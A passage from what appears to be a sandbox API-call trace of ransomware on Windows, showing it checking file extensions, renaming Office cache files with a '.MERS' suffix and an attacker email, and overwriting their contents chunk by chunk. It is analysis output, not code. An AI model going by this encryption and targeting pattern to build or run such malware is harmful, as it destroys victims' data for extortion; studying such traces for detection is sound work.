dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0033.956] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=485760) returned 1 [0033.956] CloseHandle (hObject=0x1a4) returned 1 [0033.956] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0033.957] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.957] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.957] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0033.957] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0033.957] lstrlenW (lpString=".doc") returned 4 [0033.957] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0033.957] lstrlenW (lpString=".docx") returned 5 [0033.957] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0033.957] lstrlenW (lpString=".pdf") returned 4 [0033.957] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0033.957] lstrlenW (lpString=".xls") returned 4 [0033.957] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0033.957] lstrlenW (lpString=".xlsx") returned 5 [0033.957] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0033.957] lstrlenW (lpString=".ppt") returned 4 [0033.957] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0033.957] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0033.957] lstrlenW (lpString=".zip") returned 4 [0033.957] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0033.957] lstrlenW (lpString=".rar") returned 4 [0033.957] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0033.957] lstrlenW (lpString=".bz2") returned 4 [0033.957] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0033.957] lstrlenW (lpString=".7z") returned 3 [0033.957] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0033.960] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0033.960] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0033.960] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0033.961] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0033.961] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.176] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0034.176] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.378] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0034.378] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0034.378] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.456] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.456] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0034.471] SetEndOfFile (hFile=0x1a4) returned 1 [0034.471] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f42df0 [0034.554] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0034.554] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f42df0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f42df0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.587] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0034.587] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f42df0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f42df0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.588] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0034.588] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f42df0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f42df0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.591] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f42df0 | out: hHeap=0x5f0000) returned 1 [0034.591] CloseHandle (hObject=0x1a4) returned 1 [0037.255] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0037.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.256] lstrlenW (lpString=".doc") returned 4 [0037.256] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0037.256] lstrlenW (lpString=".docx") returned 5 [0037.256] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0037.256] lstrlenW (lpString=".pdf") returned 4 [0037.256] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0037.256] lstrlenW (lpString=".xls") returned 4 [0037.256] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0037.256] lstrlenW (lpString=".xlsx") returned 5 [0037.256] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0037.256] lstrlenW (lpString=".ppt") returned 4 [0037.256] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0037.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.256] lstrlenW (lpString=".zip") returned 4 [0037.256] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0037.256] lstrlenW (lpString=".rar") returned 4 [0037.256] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0037.256] lstrlenW (lpString=".bz2") returned 4 [0037.256] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0037.256] lstrlenW (lpString=".7z") returned 3 [0037.256] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0037.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.256] lstrlenW (lpString=".dbf") returned 4 [0037.256] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0037.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.256] lstrlenW (lpString=".1cd") returned 4 [0037.256] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0037.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.256] lstrlenW (lpString=".jpg") returned 4 [0037.256] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0037.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.257] lstrlenW (lpString=".doc") returned 4 [0037.257] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0037.257] lstrlenW (lpString=".docx") returned 5 [0037.257] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0037.257] lstrlenW (lpString=".pdf") returned 4 [0037.257] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0037.257] lstrlenW (lpString=".xls") returned 4 [0037.257] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0037.257] lstrlenW (lpString=".xlsx") returned 5 [0037.257] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0037.257] lstrlenW (lpString=".ppt") returned 4 [0037.257] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0037.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.257] lstrlenW (lpString=".zip") returned 4 [0037.257] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0037.257] lstrlenW (lpString=".rar") returned 4 [0037.257] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0037.257] lstrlenW (lpString=".bz2") returned 4 [0037.257] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0037.257] lstrlenW (lpString=".7z") returned 3 [0037.257] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0037.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.257] lstrlenW (lpString=".dbf") returned 4 [0037.257] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0037.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.257] lstrlenW (lpString=".1cd") returned 4 [0037.257] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0037.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.257] lstrlenW (lpString=".jpg") returned 4 [0037.257] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0037.258] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0037.258] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0037.258] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0037.258] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2865664) returned 1 [0037.258] CloseHandle (hObject=0x1a4) returned 1 [0037.259] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0037.259] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0037.259] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0037.260] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0037.260] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0037.260] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0037.260] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.275] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0037.275] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.288] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.289] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0037.289] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.313] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.313] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0037.328] SetEndOfFile (hFile=0x1a4) returned 1 [0037.328] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fc7e30 [0037.426] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0037.426] WriteFile (in: hFile=0x1a4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.428] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0037.428] WriteFile (in: hFile=0x1a4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.433] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0037.433] WriteFile (in: hFile=0x1a4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.435] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0037.438] CloseHandle (hObject=0x1a4) returned 1 [0039.410] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0039.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0039.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0039.410] lstrlenW (lpString=".doc") returned 4 [0039.411] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.411] lstrlenW (lpString=".docx") returned 5 [0039.411] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0039.411] lstrlenW (lpString=".pdf") returned 4 [0039.411] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.411] lstrlenW (lpString=".xls") returned 4 [0039.411] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.411] lstrlenW (lpString=".xlsx") returned 5 [0039.411] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0039.411] lstrlenW (lpString=".ppt") returned 4 [0039.411] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0039.411] lstrlenW (lpString=".zip") returned 4 [0039.411] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.411] lstrlenW (lpString=".rar") returned 4 [0039.411] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.411] lstrlenW (lpString=".bz2") returned 4 [0039.411] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.411] lstrlenW (lpString=".7z") returned 3 [0039.411] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0039.411] lstrlenW (lpString=".dbf") returned 4 [0039.411] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0039.411] lstrlenW (lpString=".1cd") returned 4 [0039.411] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0039.411] lstrlenW (lpString=".jpg") returned 4 [0039.411] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0039.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0039.412] lstrlenW (lpString=".doc") returned 4 [0039.412] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.412] lstrlenW (lpString=".docx") returned 5 [0039.412] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0039.412] lstrlenW (lpString=".pdf") returned 4 [0039.412] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.412] lstrlenW (lpString=".xls") returned 4 [0039.412] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.412] lstrlenW (lpString=".xlsx") returned 5 [0039.412] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0039.412] lstrlenW (lpString=".ppt") returned 4 [0039.412] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0039.412] lstrlenW (lpString=".zip") returned 4 [0039.412] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.412] lstrlenW (lpString=".rar") returned 4 [0039.412] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.412] lstrlenW (lpString=".bz2") returned 4 [0039.412] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.412] lstrlenW (lpString=".7z") returned 3 [0039.412] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0039.412] lstrlenW (lpString=".dbf") returned 4 [0039.412] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0039.412] lstrlenW (lpString=".1cd") returned 4 [0039.412] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0039.412] lstrlenW (lpString=".jpg") returned 4 [0039.412] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.413] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0039.413] lstrlenW (lpString="Proof.cab") returned 9 [0039.413] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0039.413] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=11482605) returned 1 [0039.413] CloseHandle (hObject=0x1a4) returned 1 [0039.413] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0039.413] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.413] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0039.875] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0039.875] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0039.875] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0039.875] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.919] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0039.919] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.006] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.006] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xab35ed, 